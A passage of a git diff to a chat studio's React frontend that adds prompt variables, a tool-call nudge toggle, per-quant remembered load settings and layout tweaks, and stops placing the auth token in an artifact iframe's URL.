-      // no assistant text, surfaced as a transient marker for the in-place renderer, never the transcript.
-      if ("type" in parsed && parsed.type === "diffusion_frame") {
-        yield {
-          _diffusionFrame: parsed,
-        } as unknown as OpenAIChatChunk;
-        separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
-      }
-      // Tool start/end events carry full input/output for the tool outputs panel
-      if (
-        "type" in parsed &&
-        (parsed.type === "tool_start" || parsed.type === "tool_end")
-      ) {
-        yield { _toolEvent: parsed } as unknown as OpenAIChatChunk;
-        separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
-      }
-      yield parsed as OpenAIChatChunk;
-      separatorIndex = buffer.search(/\r?\n\r?\n/);
     }
   }
 }
diff --git a/studio/frontend/src/features/chat/api/chat-settings-api.ts b/studio/frontend/src/features/chat/api/chat-settings-api.ts
index 1ac569efc7..1e00357ea4 100644
--- a/studio/frontend/src/features/chat/api/chat-settings-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-settings-api.ts
@@ -26,6 +26,7 @@ export interface PersistedChatSettings {
   collapseHtmlArtifacts?: boolean;
   allowArtifactNetworkAccess?: boolean;
   autoHealToolCalls?: boolean;
+  nudgeToolCalls?: boolean;
   maxToolCallsPerMessage?: number;
   toolCallTimeout?: number;
 }
diff --git a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
index 7c46ab11ba..0f4c83e0db 100644
--- a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
+++ b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
@@ -329,6 +329,8 @@ export function ArtifactSurface({
             code={artifact.code}
             title={artifact.title}
             fill={true}
+            // Network mode only for tool-rendered canvases, never fences.
+            allowNetworkAccess={artifact.source === "tool"}
             className="h-full"
           />
         ) : (
diff --git a/studio/frontend/src/features/chat/artifacts/html-frame.tsx b/studio/frontend/src/features/chat/artifacts/html-frame.tsx
index 6b18b27c09..b26f2f6685 100644
--- a/studio/frontend/src/features/chat/artifacts/html-frame.tsx
+++ b/studio/frontend/src/features/chat/artifacts/html-frame.tsx
@@ -3,7 +3,6 @@
 
 "use client";
 
-import { getAuthToken } from "@/features/auth";
 import { apiUrl } from "@/lib/api-base";
 import { cn } from "@/lib/utils";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
@@ -36,30 +35,37 @@ export function ArtifactHtmlFrame({
   title = "HTML canvas preview",
   className,
   fill = false,
+  // Tool-rendered canvases only; default off so fences never get network.
+  allowNetworkAccess = false,
 }: {
   code: string;
   title?: string;
   className?: string;
   fill?: boolean;
+  allowNetworkAccess?: boolean;
 }) {
   const iframeRef = useRef<HTMLIFrameElement>(null);
-  const allowNetworkAccess = useChatRuntimeStore(
+  const networkAccessEnabled = useChatRuntimeStore(
     (state) => state.allowArtifactNetworkAccess,
   );
   const [height, setHeight] = useState(HTML_FRAME_DEFAULT_HEIGHT);
   const artifactHtml = useMemo(() => buildArtifactSrcDoc(code), [code]);
   const src = useMemo(() => {
     const query = new URLSearchParams({ v: hashArtifactCode(code) });
-    if (allowNetworkAccess) {
-      const token = getAuthToken();
-      if (token) {
-        query.set("allow_network", "1");
-        query.set("token", token);
-      }
+    // Never put the auth token in the URL: in-frame code can read location.href.
+    if (allowNetworkAccess && networkAccessEnabled) {
+      query.set("allow_network", "1");
     }
     return apiUrl(`/api/inference/artifact-preview-frame?${query.toString()}`);
-  }, [allowNetworkAccess, code]);
+  }, [allowNetworkAccess, networkAccessEnabled, code]);
+  // Feed only parent-initiated loads, so a self-navigated frame can't self-upgrade.
+  const pendingPostRef = useRef(false);
+  useEffect(() => {
+    pendingPostRef.current = true;
+  }, [src]);
   const postArtifactHtml = useCallback(() => {
+    if (!pendingPostRef.current) return;
+    pendingPostRef.current = false;
     // Sandboxed frame has an opaque origin ("null"), so a wildcard target is
     // required; the payload only reaches this iframe's contentWindow.
     iframeRef.current?.contentWindow?.postMessage(
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index ac0c4de75c..cd7cfc77fc 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -8,6 +8,10 @@ import {
   type ModelOption,
   ModelSelector,
 } from "@/components/assistant-ui/model-selector";
+import {
+  loadRememberedLoadSettings,
+  rememberedLoadSettingsKey,
+} from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import { ProjectComposer, Thread } from "@/components/assistant-ui/thread";
 import { CopyableErrorChip } from "@/components/ui/copyable-error-chip";
 import {
@@ -508,7 +512,7 @@ function CompareShell({
       <div className="flex min-h-0 min-w-0 flex-1 basis-0 flex-col">
         <div
           data-tour="chat-compare-view"
-          className="flex min-h-0 min-w-0 flex-1 basis-0 flex-col md:flex-row"
+          className="flex min-h-0 min-w-0 flex-1 basis-0 flex-col pt-[var(--studio-content-top-inset,0px)] md:flex-row"
         >
           {children}
         </div>
@@ -602,7 +606,7 @@ const LoraCompareContent = memo(function LoraCompareContent({
           handleName="lora"
           borderClassName="border-t border-border/60 md:border-t-0 md:border-l"
           header={
-            <div className="shrink-0 px-3 py-1.5 text-start md:text-end">
+            <div className="shrink-0 px-3 py-1.5 text-start md:text-end md:pr-[calc(4rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]">
               <span className="text-[10px] font-semibold uppercase tracking-wider text-primary">
                 Fine-tuned
               </span>
@@ -646,11 +650,16 @@ function GeneralCompareHeader({
   // Controlled so the body-portaled popover can't linger over another tab off-route.
   const active = useChatActive();
   const [selectorOpen, setSelectorOpen] = useState(false);
+  const { pinned } = useSidebar();
   return (
     <div
       className={cn(
-        "flex h-[48px] shrink-0 items-start pt-[11px] gap-2 bg-background",
-        side === "left" ? "pl-12 pr-3 md:pl-2" : "pl-3 pr-12",
+        "pointer-events-none relative z-40 flex h-[48px] shrink-0 items-start gap-2 bg-background pt-[var(--studio-chat-header-padding-top,11px)]",
+        side === "left"
+          ? pinned
+            ? "pl-12 pr-3 md:pl-2"
+            : "pl-12 pr-3 md:pl-[calc(0.5rem+max(0px,var(--studio-mac-traffic-light-inset,0px)-var(--sidebar-width-icon,3rem)))]"
+          : "pl-3 pr-[calc(3rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]",
       )}
     >
       <ModelSelector
@@ -663,7 +672,7 @@ function GeneralCompareHeader({
         onModelsChange={onModelsChange}
         deleteDisabled={deleteDisabled}
         variant="ghost"
-        className="max-w-[80%] !h-[34px]"
+        className="pointer-events-auto max-w-[80%] !h-[var(--studio-chat-control-height,34px)]"
         open={active && selectorOpen}
         onOpenChange={(open) => setSelectorOpen(active && open)}
       />
@@ -1275,13 +1284,18 @@ export function ChatPage({
     selectModelRef.current = selectModel;
   }, [refresh, selectModel]);
   // Load a cached autoLoad pick once its download finishes. The sheet was never
-  // opened, so on a load failure just drop the orphaned staged knobs.
+  // opened, so on a load failure just drop the orphaned staged knobs. The knobs
+  // were already seeded on stage, so keepSpeculative only when a config was
+  // saved -- otherwise the standing speculative preference should win.
   autoLoadStagedRef.current = (pending) => {
+    const remembered = loadRememberedLoadSettings(
+      rememberedLoadSettingsKey(pending),
+    );
     void selectModel({
       ...pending,
       isDownloaded: true,
       forceReload: true,
-      keepSpeculative: false,
+      keepSpeculative: remembered != null,
       throwOnError: true,
     }).catch(() => {
       const store = useChatRuntimeStore.getState();
@@ -1648,10 +1662,21 @@ export function ChatPage({
         (!hasGgufSource(selection) && !wantManagerDownload) ||
         (store.loadOnSelection && selection.isDownloaded)
       ) {
-        // Detach any staged pick first so its edited knobs don't leak into this
-        // immediate load. Detach (not abandon) keeps its download running.
+        // Detach any staged pick first so its edited knobs (e.g. a custom
+        // context length) don't leak into this immediate load -- resolveLoad
+        // reads customContextLength before checking the target is GGUF. Detach
+        // (not abandon) keeps its download running.
         detachStaged();
-        await selectModel(selection);
+        // Load-on-selection skips the sheet, so seed the saved knobs here the
+        // way the sheet's restore effect would; the switch would otherwise reset
+        // the remembered speculative choice (keepSpeculative below prevents it).
+        const remembered = hasGgufSource(selection)
+          ? loadRememberedLoadSettings(rememberedLoadSettingsKey(selection))
+          : null;
+        if (remembered) store.applyRememberedLoadSettings(remembered);
+        await selectModel(
+          remembered ? { ...selection, keepSpeculative: true } : selection,
+        );
         return;
       }
       // Loads can't queue behind each other, but a download is independent: if
@@ -2029,7 +2054,7 @@ export function ChatPage({
     () => setSettingsOpen(false),
     [setSettingsOpen],
   );
-  const { isMobile } = useSidebar();
+  const { isMobile, pinned } = useSidebar();
 
   const enterCompare = useCallback(() => {
     viewBeforeCompareRef.current = { ...search };
@@ -2357,19 +2382,23 @@ export function ChatPage({
             beneath it, instead of a hard cut. */}
         {view.mode !== "compare" && (
           <div
-            aria-hidden={true}
-            className="pointer-events-none absolute left-0 right-[10px] top-[48px] z-20 h-6 bg-gradient-to-b from-background to-[rgb(from_var(--background)_r_g_b/0)]"
+            aria-hidden
+            className="pointer-events-none absolute left-0 right-[10px] top-[calc(var(--studio-content-top-inset,0px)+var(--studio-chat-header-height,48px))] z-20 h-6 bg-gradient-to-b from-background to-transparent"
           />
         )}
         <div
           className={cn(
-            "absolute top-0 left-0 right-[10px] z-30 flex h-[48px] shrink-0 items-start pt-[11px] pr-2 bg-background",
-            isMobile ? "pl-12 pr-1.5" : "pl-2",
+            "pointer-events-none absolute top-[var(--studio-content-top-inset,0px)] left-0 right-[10px] z-40 flex h-[var(--studio-chat-header-height,48px)] shrink-0 items-start bg-background pt-[var(--studio-chat-header-padding-top,11px)] pr-[calc(0.5rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]",
+            isMobile
+              ? "pl-12"
+              : pinned
+                ? "pl-2"
+                : "pl-[calc(0.5rem+max(0px,var(--studio-mac-traffic-light-inset,0px)-var(--sidebar-width-icon,3rem)))]",
             view.mode === "compare" &&
-              "right-[10px] left-auto w-auto bg-transparent pl-0 pr-2",
+              "right-[10px] left-auto w-auto bg-transparent pl-0 pr-[calc(0.5rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]",
           )}
         >
-          <div className="flex items-center gap-1">
+          <div className="pointer-events-auto flex items-center gap-1">
             {view.mode !== "compare" && (
               <ModelSelector
                 models={models}
@@ -2389,13 +2418,23 @@ export function ChatPage({
                 triggerDataTour="chat-model-selector"
                 contentDataTour="chat-model-selector-popover"
                 showCloudIndicator={isExternalModel}
-                className="max-w-[62vw] !pr-3 sm:max-w-none !h-[34px]"
+                className="max-w-[62vw] !pr-3 sm:max-w-none !h-[var(--studio-chat-control-height,34px)]"
               />
             )}
+            {incognito && view.mode === "single" && (
+              <div className="flex h-[var(--studio-chat-control-height,34px)] shrink-0 items-center gap-1.5 self-center rounded-full bg-primary/10 px-2.5 font-medium text-[13px] text-primary">
+                <HugeiconsIcon
+                  icon={BubbleChatTemporaryIcon}
+                  strokeWidth={2}
+                  className="size-3.5"
+                />
+                <span>Temporary</span>
+              </div>
+            )}
             {view.mode !== "compare" && currentProjectId && (
               <nav
                 aria-label="Project location"
-                className="flex h-[34px] min-w-0 items-center gap-1.5 self-center text-[13.5px] tracking-nav text-muted-foreground"
+                className="flex h-[var(--studio-chat-control-height,34px)] min-w-0 items-center gap-1.5 self-center text-[13.5px] tracking-nav text-muted-foreground"
               >
                 <ProjectSwitcher
                   currentProject={currentProject}
@@ -2454,7 +2493,7 @@ export function ChatPage({
               </div>
             ) : null}
           </div>
-          <div className="ml-auto flex items-center gap-2">
+          <div className="pointer-events-auto ml-auto flex items-center gap-2">
             {view.mode === "single" && contextUsage ? (
               <ContextUsageBar
                 used={contextUsage.totalTokens}
@@ -2464,7 +2503,7 @@ export function ChatPage({
                 cacheWrites={contextUsage.cacheWriteTokens}
                 promptTokens={contextUsage.promptTokens}
                 completionTokens={contextUsage.completionTokens}
-                className="h-[34px]"
+                className="h-[var(--studio-chat-control-height,34px)]"
               />
             ) : null}
             {view.mode === "single" && (
@@ -2474,7 +2513,7 @@ export function ChatPage({
                     type="button"
                     onClick={toggleIncognito}
                     className={cn(
-                      "flex h-[34px] w-[34px] cursor-pointer items-center justify-center rounded-full transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                      "flex size-[var(--studio-chat-control-height,34px)] cursor-pointer items-center justify-center rounded-[12px] transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
                       incognito
                         ? "bg-primary/10 text-primary hover:bg-primary/15"
                         : "text-nav-fg hover:bg-nav-surface-hover hover:text-black dark:hover:text-white",
@@ -2504,9 +2543,8 @@ export function ChatPage({
                   <button
                     type="button"
                     onClick={() => setSettingsOpen(true)}
-                    className="flex h-[34px] w-[34px] translate-x-[2px] cursor-pointer items-center justify-center rounded-full text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                    className="flex size-[var(--studio-chat-control-height,34px)] translate-x-[2px] cursor-pointer items-center justify-center rounded-[12px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
                     aria-label="Open run settings"
-                    data-tour="chat-settings"
                   >
                     <HugeiconsIcon
                       icon={LayoutAlignRightIcon}
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index bd315e19d4..ea6c409b40 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -21,6 +21,7 @@ import { Checkbox } from "@/components/ui/checkbox";
 import {
   clearRememberedLoadSettings,
   loadRememberedLoadSettings,
+  rememberedLoadSettingsKey,
   saveRememberedLoadSettings,
 } from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import {
@@ -73,7 +74,7 @@ import {
 } from "@hugeicons/core-free-icons";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { ChevronDown, ExternalLink } from "lucide-react";
+import { Braces, ChevronDown, ExternalLink } from "lucide-react";
 import { Tooltip as TooltipPrimitive } from "radix-ui";
 import { Fragment, type ReactNode } from "react";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
@@ -115,10 +116,32 @@ import type { InferenceParams } from "./types/runtime";
 export { defaultInferenceParams, type Preset } from "./presets/preset-policy";
 export type { InferenceParams } from "./types/runtime";
 
+const PROMPT_VARIABLE_PATTERN = /{{\s*[a-zA-Z_$][a-zA-Z0-9_$.-]*\s*}}/;
+
 function canUseStorage(): boolean {
   return typeof window !== "undefined";
 }
 
+function getPromptVariablesError(raw: string): string | null {
+  const trimmed = raw.trim();
+  if (!trimmed) {
+    return null;
+  }
+  try {
+    const parsed = JSON.parse(trimmed) as unknown;
+    if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) {
+      return null;
+    }
+  } catch {
+    return "Use valid JSON, for example { \"env\": \"staging\" }.";
+  }
+  return "Variables must be a JSON object.";
+}
+
+function hasPromptVariableSyntax(prompt: string): boolean {
+  return PROMPT_VARIABLE_PATTERN.test(prompt);
+}
+
 /**
  * Editable numeric value display, shared by every slider value and the Context
  * Length input. An <input> that looks like text (shows `displayValue ?? value`,
@@ -579,6 +602,9 @@ export function ChatSettingsPanel({
   );
   const kvCacheDtype = useChatRuntimeStore((s) => s.kvCacheDtype);
   const setKvCacheDtype = useChatRuntimeStore((s) => s.setKvCacheDtype);
+  const applyRememberedLoadSettings = useChatRuntimeStore(
+    (s) => s.applyRememberedLoadSettings,
+  );
   const loadedKvCacheDtype = useChatRuntimeStore((s) => s.loadedKvCacheDtype);
   const tensorParallel = useChatRuntimeStore((s) => s.tensorParallel);
   const setTensorParallel = useChatRuntimeStore((s) => s.setTensorParallel);
@@ -613,25 +639,16 @@ export function ChatSettingsPanel({
   // the saved per-model settings on stage, so the sheet opens with what was used
   // last time; the tick reflects whether a saved entry exists.
   const [remember, setRemember] = useState(false);
-  const pendingId = pendingSelection?.id ?? null;
+  // Keyed per quant: a different variant of the same repo has its own settings.
+  const pendingKey = pendingSelection
+    ? rememberedLoadSettingsKey(pendingSelection)
+    : null;
   useEffect(() => {
-    if (!pendingId) return;
-    const saved = loadRememberedLoadSettings(pendingId);
+    if (!pendingKey) return;
+    const saved = loadRememberedLoadSettings(pendingKey);
     setRemember(saved != null);
-    if (!saved) return;
-    setCustomContextLength(saved.contextLength);
-    setKvCacheDtype(saved.kvCacheDtype);
-    setSpeculativeType(saved.speculativeType ?? "auto");
-    setSpecDraftNMax(saved.specDraftNMax);
-    setTensorParallel(saved.tensorParallel);
-  }, [
-    pendingId,
-    setCustomContextLength,
-    setKvCacheDtype,
-    setSpeculativeType,
-    setSpecDraftNMax,
-    setTensorParallel,
-  ]);
+    if (saved) applyRememberedLoadSettings(saved);
+  }, [pendingKey, applyRememberedLoadSettings]);
   // While staging, the sheet reflects the STAGED model, so its header context
   // takes precedence over the loaded model's (which may differ or be larger).
   const baseContext = pendingIsGguf ? stagedContextLength : ggufContextLength;
@@ -660,6 +677,8 @@ export function ChatSettingsPanel({
   const [presetNameInput, setPresetNameInput] = useState(activePreset);
   const [systemPromptEditorOpen, setSystemPromptEditorOpen] = useState(false);
   const [systemPromptDraft, setSystemPromptDraft] = useState("");
+  const [systemVariablesDraft, setSystemVariablesDraft] = useState("");
+  const [systemVariablesOpen, setSystemVariablesOpen] = useState(false);
   // When the prompt overflows the inline box, clicking opens the popup editor.
   const systemPromptBoxRef = useRef<HTMLTextAreaElement>(null);
   const [systemPromptOverflows, setSystemPromptOverflows] = useState(false);
@@ -702,7 +721,12 @@ export function ChatSettingsPanel({
       }),
     [activePreset, hasUnsavedPresetChanges, presetNameInput, presets],
   );
-  const systemPromptEditorDirty = systemPromptDraft !== params.systemPrompt;
+  const systemVariablesError = getPromptVariablesError(systemVariablesDraft);
+  const currentSystemPrompt = params.systemPrompt ?? "";
+  const currentSystemVariables = params.systemVariables ?? "";
+  const systemPromptEditorDirty =
+    systemPromptDraft !== currentSystemPrompt ||
+    systemVariablesDraft !== currentSystemVariables;
   const showPromptCacheTtlControl = Boolean(
     activeExternalProvider &&
       supportsProviderPromptCacheTtl(activeExternalProvider.providerType),
@@ -813,12 +837,32 @@ export function ChatSettingsPanel({
   }
 
   function openSystemPromptEditor() {
-    setSystemPromptDraft(params.systemPrompt);
+    setSystemPromptDraft(currentSystemPrompt);
+    setSystemVariablesDraft(currentSystemVariables);
+    setSystemVariablesOpen(
+      currentSystemVariables.trim().length > 0 ||
+        hasPromptVariableSyntax(currentSystemPrompt),
+    );
     setSystemPromptEditorOpen(true);
   }
 
   function saveSystemPromptEditor() {
-    set("systemPrompt")(systemPromptDraft);
+    if (systemVariablesError) {
+      toast.error("Fix prompt variables before saving", {
+        description: systemVariablesError,
+      });
+      return;
+    }
+    const nextParams = {
+      ...params,
+      systemPrompt: systemPromptDraft,
+      systemVariables: systemVariablesDraft.trim(),
+    };
+    const nextSource = isSamePresetConfig(activePresetBaseline, nextParams)
+      ? getPresetSource(activePreset)
+      : "modified";
+    setActivePresetSource(nextSource);
+    onParamsChange(nextParams);
     setSystemPromptEditorOpen(false);
   }
 
@@ -866,12 +910,12 @@ export function ChatSettingsPanel({
   useEffect(() => {
     const el = systemPromptBoxRef.current;
     setSystemPromptOverflows(
-      params.systemPrompt.length > 0 &&
+      currentSystemPrompt.length > 0 &&
         el != null &&
         el.clientHeight > 0 &&
         el.scrollHeight > el.clientHeight + 1,
     );
-  }, [params.systemPrompt, open]);
+  }, [currentSystemPrompt, open]);
 
   const settingsScrollRef = useRef<HTMLDivElement>(null);
 
@@ -1213,9 +1257,11 @@ export function ChatSettingsPanel({
                       type="button"
                       onClick={() => {
                         // Persist (or clear) this model's load knobs before loading.
-                        // Save the explicit context override only (null = auto), so
-                        // restoring never forces the native context into an OOM.
-                        const pid = pendingSelection?.id;
+                        // Context is stored as the override (null = auto), never the
+                        // resolved native value, so restoring can't force an OOM.
+                        const pid = pendingSelection
+                          ? rememberedLoadSettingsKey(pendingSelection)
+                          : null;
                         if (pid) {
                           if (remember) {
                             saveRememberedLoadSettings(pid, {
@@ -1541,7 +1587,7 @@ export function ChatSettingsPanel({
           >
             <textarea
               ref={systemPromptBoxRef}
-              value={params.systemPrompt}
+              value={currentSystemPrompt}
               onChange={(e) => set("systemPrompt")(e.target.value)}
               onMouseDown={(e) => {
                 // Overflowing prompt: click opens the popup editor instead.
@@ -1564,6 +1610,7 @@ export function ChatSettingsPanel({
           </div>
         </CollapsibleSection>
 
+
         <CollapsibleSection label="Sampling" defaultOpen={true}>
           <div className="flex flex-col gap-5 pt-1">
             {showTemperature ? (
@@ -1685,6 +1732,7 @@ export function ChatSettingsPanel({
           <CollapsibleSection label="Tools">
             <div className="flex flex-col gap-5 pt-1">
               <AutoHealToolCallsToggle />
+              <NudgeToolCallsToggle />
               <ConfirmToolCallsToggle />
               <BypassPermissionsToggle />
               <MaxToolCallsSlider />
@@ -1715,20 +1763,96 @@ export function ChatSettingsPanel({
               the preset.
             </DialogDescription>
           </DialogHeader>
-          <div className="space-y-2">
+          <div className="space-y-3">
             <div className="space-y-0.5 px-0.5">
-              <div className="text-[11px] font-medium">Prompt editor</div>
+              <div className="flex items-center justify-between gap-3">
+                <div className="text-[11px] font-medium">Prompt editor</div>
+                <Button
+                  type="button"
+                  variant="ghost"
+                  size="sm"
+                  onClick={() => setSystemVariablesOpen((open) => !open)}
+                  className="h-7 gap-1.5 rounded-full px-2.5 text-[11px] text-muted-foreground"
+                  aria-expanded={systemVariablesOpen}
+                >
+                  <Braces className="size-3.5" />
+                  Variables
+                  <ChevronDown
+                    className={cn(
+                      "size-3.5 transition-transform",
+                      systemVariablesOpen && "rotate-180",
+                    )}
+                  />
+                </Button>
+              </div>
               <p className="text-[11px] text-muted-foreground">
                 Use this for longer edits. Save writes back to the active
-                configuration only.
+                configuration only. Insert variables with {"{{ env }}"}.
               </p>
             </div>
+            {systemVariablesOpen ? (
+              <div className="space-y-2 px-0.5">
+                <div className="flex flex-wrap items-start justify-between gap-2">
+                  <div className="space-y-0.5">
+                    <div className="text-[11px] font-medium">
+                      Prompt variables
+                    </div>
+                    <p className="text-[11px] text-muted-foreground">
+                      Define values as JSON below, then use each key in your
+                      prompt, like {"{{ env }}"}.
+                    </p>
+                  </div>
+                  <div className="flex flex-col items-end gap-1">
+                    <span className="text-[10px] text-muted-foreground">
+                      Built-in, fill in automatically
+                    </span>
+                    <div className="flex flex-wrap justify-end gap-1">
+                      {["{{$date}}", "{{$time}}", "{{$now}}"].map((token) => (
+                        <span
+                          key={token}
+                          title={`${token} is replaced automatically when you send`}
+                          className="rounded-full bg-muted px-2 py-0.5 font-mono text-[10px] text-muted-foreground"
+                        >
+                          {token}
+                        </span>
+                      ))}
+                    </div>
+                  </div>
+                </div>
+                <Textarea
+                  value={systemVariablesDraft}
+                  onChange={(event) =>
+                    setSystemVariablesDraft(event.target.value)
+                  }
+                  placeholder='{ "env": "staging", "version": "v2.3.1" }'
+                  fieldSizing="fixed"
+                  className={cn(
+                    "min-h-24 border-0 font-mono text-xs leading-5 corner-squircle focus-visible:ring-0",
+                    systemVariablesError &&
+                      "ring-1 ring-destructive focus-visible:ring-destructive",
+                  )}
+                  rows={5}
+                  aria-label="Prompt variables JSON"
+                  aria-invalid={Boolean(systemVariablesError)}
+                />
+                {systemVariablesError ? (
+                  <p className="px-1 text-[11px] text-destructive">
+                    {systemVariablesError}
+                  </p>
+                ) : (
+                  <p className="px-1 text-[11px] text-muted-foreground">
+                    Names you don&apos;t define are left unchanged, so a stray
+                    {" {{ typo }} "}stays visible in the prompt.
+                  </p>
+                )}
+              </div>
+            ) : null}
             <Textarea
               value={systemPromptDraft}
               onChange={(event) => setSystemPromptDraft(event.target.value)}
               placeholder="You are a helpful assistant..."
               fieldSizing="fixed"
-              className="min-h-[24rem] max-h-[50vh] overflow-y-auto border-0 text-sm leading-6 corner-squircle focus-visible:ring-0"
+              className="min-h-[20rem] max-h-[48vh] overflow-y-auto border-0 text-sm leading-6 corner-squircle focus-visible:ring-0"
               rows={14}
             />
           </div>
@@ -1747,7 +1871,8 @@ export function ChatSettingsPanel({
                 type="button"
                 variant="ghost"
                 onClick={() => {
-                  setSystemPromptDraft(params.systemPrompt);
+                  setSystemPromptDraft(currentSystemPrompt);
+                  setSystemVariablesDraft(currentSystemVariables);
                   setSystemPromptEditorOpen(false);
                 }}
               >
@@ -1756,7 +1881,9 @@ export function ChatSettingsPanel({
               <Button
                 type="button"
                 onClick={saveSystemPromptEditor}
-                disabled={!systemPromptEditorDirty}
+                disabled={
+                  !systemPromptEditorDirty || Boolean(systemVariablesError)
+                }
               >
                 Save
               </Button>
@@ -1775,7 +1902,9 @@ export function ChatSettingsPanel({
             <SheetTitle>Run settings</SheetTitle>
             <SheetDescription>Chat inference settings</SheetDescription>
           </SheetHeader>
-          <div className="flex h-full flex-col">{settingsContent}</div>
+          <div data-tour="chat-settings" className="flex h-full flex-col">
+            {settingsContent}
+          </div>
         </SheetContent>
       </Sheet>
     );
@@ -1783,7 +1912,15 @@ export function ChatSettingsPanel({
 
   return (
     <aside
-      className={`relative z-50 shrink-0 h-full overflow-hidden bg-panel-surface text-panel-surface-fg font-heading ${open ? "w-[17rem] border-l border-sidebar-border" : "w-0"}`}
+      data-tour="chat-settings"
+      className={cn(
+        "relative z-50 shrink-0 overflow-hidden bg-panel-surface text-panel-surface-fg font-heading",
+        open ? "w-[17rem] border-l border-sidebar-border" : "w-0",
+      )}
+      style={{
+        height: "calc(100% - var(--studio-custom-titlebar-height, 0px))",
+        marginTop: "var(--studio-custom-titlebar-height, 0px)",
+      }}
     >
       <div className="h-full w-full">{settingsContent}</div>
     </aside>
@@ -1870,6 +2007,30 @@ function AutoHealToolCallsToggle() {
   );
 }
 
+function NudgeToolCallsToggle() {
+  const nudgeToolCalls = useChatRuntimeStore((s) => s.nudgeToolCalls);
+  const setNudgeToolCalls = useChatRuntimeStore((s) => s.setNudgeToolCalls);
+
+  return (
+    <div className="flex items-center justify-between gap-3">
+      <div className="flex min-w-0 items-center gap-1.5">
+        <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          Nudge Tool Calls
+        </span>
+        <InfoHint>
+          When a tool call cannot be repaired, re-ask the model once so the
+          intended tool still runs. API requests stay opt-in.
+        </InfoHint>
+      </div>
+      <Switch
+        className="panel-switch"
+        checked={nudgeToolCalls}
+        onCheckedChange={setNudgeToolCalls}
+      />
+    </div>
+  );
+}
+
 function ConfirmToolCallsToggle() {
   const confirmToolCalls = useChatRuntimeStore((s) => s.confirmToolCalls);
   const setConfirmToolCalls = useChatRuntimeStore((s) => s.setConfirmToolCalls);
diff --git a/studio/frontend/src/features/chat/mcp-composer-button.tsx b/studio/frontend/src/features/chat/mcp-composer-button.tsx
index 15b8b1db0b..7c1ecc79c1 100644
--- a/studio/frontend/src/features/chat/mcp-composer-button.tsx
+++ b/studio/frontend/src/features/chat/mcp-composer-button.tsx
@@ -60,6 +60,11 @@ type McpPreset = {
 // Keyless remote MCP presets (rate-limited free tiers, no API key).
 // Hugging Face runs anonymously; add a token via "Manage MCP servers".
 const MCP_PRESETS: readonly McpPreset[] = [
+  {
+    id: "unsloth-docs",
+    displayName: "Unsloth Docs",
+    url: "https://unsloth.ai/docs/~gitbook/mcp",
+  },
   {
     id: "context7",
     displayName: "Context7",
diff --git a/studio/frontend/src/features/chat/presets/preset-policy.ts b/studio/frontend/src/features/chat/presets/preset-policy.ts
index 057e4778bf..f96ee91f1b 100644
--- a/studio/frontend/src/features/chat/presets/preset-policy.ts
+++ b/studio/frontend/src/features/chat/presets/preset-policy.ts
@@ -23,6 +23,7 @@ export type PresetOwnedParams = Pick<
   | "presencePenalty"
   | "maxTokens"
   | "systemPrompt"
+  | "systemVariables"
 >;
 
 export const BUILTIN_PRESETS: Preset[] = [
@@ -104,7 +105,8 @@ export function getPresetOwnedParams(
     repetitionPenalty: params.repetitionPenalty,
     presencePenalty: params.presencePenalty,
     maxTokens: params.maxTokens,
-    systemPrompt: params.systemPrompt,
+    systemPrompt: params.systemPrompt ?? "",
+    systemVariables: params.systemVariables ?? "",
   };
 }
 
@@ -122,7 +124,8 @@ export function isSamePresetConfig(
     left.repetitionPenalty === right.repetitionPenalty &&
     left.presencePenalty === right.presencePenalty &&
     left.maxTokens === right.maxTokens &&
-    left.systemPrompt === right.systemPrompt
+    left.systemPrompt === right.systemPrompt &&
+    left.systemVariables === right.systemVariables
   );
 }
 
diff --git a/studio/frontend/src/features/chat/projects-page.tsx b/studio/frontend/src/features/chat/projects-page.tsx
index 1651b49626..b9a5658a96 100644
--- a/studio/frontend/src/features/chat/projects-page.tsx
+++ b/studio/frontend/src/features/chat/projects-page.tsx
@@ -12,7 +12,9 @@ import {
 import {
   DropdownMenu,
   DropdownMenuContent,
+  DropdownMenuGroup,
   DropdownMenuItem,
+  DropdownMenuLabel,
   DropdownMenuSeparator,
   DropdownMenuSub,
   DropdownMenuSubContent,
@@ -300,33 +302,53 @@ export function ProjectsPage() {
               <DropdownMenuSub>
                 <DropdownMenuSubTrigger>Export All Projects</DropdownMenuSubTrigger>
                 <DropdownMenuSubContent className="w-52">
-                  {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
-                    <DropdownMenuItem key={`ap-m-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, true)}>
-                      {label} (combined)
-                    </DropdownMenuItem>
-                  ))}
+                  <DropdownMenuGroup>
